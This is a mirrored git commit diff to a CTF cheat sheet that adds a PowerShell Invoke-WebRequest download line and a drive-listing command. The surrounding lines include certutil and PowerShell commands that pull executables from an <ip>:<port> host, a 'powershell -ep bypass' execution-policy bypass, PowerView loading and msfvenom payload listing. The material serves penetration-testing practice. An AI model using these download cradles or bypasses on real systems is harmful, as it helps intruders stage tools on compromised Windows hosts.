mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-14 00:07:14 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
a4cbc79d44
commit
ca789c8e70
1 changed files with 5 additions and 2 deletions
|
@ -132,14 +132,17 @@ dir /a:d `show only hidden folder`<br/>
|
||||||
dir /a:h `show only hidden files`<br/>
|
dir /a:h `show only hidden files`<br/>
|
||||||
|
|
||||||
### Downloading Files
|
### Downloading Files
|
||||||
|
|
||||||
`certutil.exe -urlcache -f http://<ip>:<port>/<file> ouput.exe`<br />
|
`certutil.exe -urlcache -f http://<ip>:<port>/<file> ouput.exe`<br />
|
||||||
`powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe`
|
`powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe`<br />
|
||||||
|
`powershell Invoke-WebRequest -Uri $ip -OutFile $filepath`
|
||||||
|
|
||||||
### Active Directory
|
### Active Directory
|
||||||
`powershell -ep bypass` load a powershell shell with execution policy bypassed <br/>
|
`powershell -ep bypass` load a powershell shell with execution policy bypassed <br/>
|
||||||
`. .\PowerView.ps1` import the PowerView module
|
`. .\PowerView.ps1` import the PowerView module
|
||||||
|
|
||||||
|
## List Drives
|
||||||
|
`wmic logicaldisk get caption`
|
||||||
|
|
||||||
# Msfvenom
|
# Msfvenom
|
||||||
### List All Payloads
|
### List All Payloads
|
||||||
msfvenom -l payloads
|
msfvenom -l payloads
|
||||||
|
|
Loading…
Reference in a new issue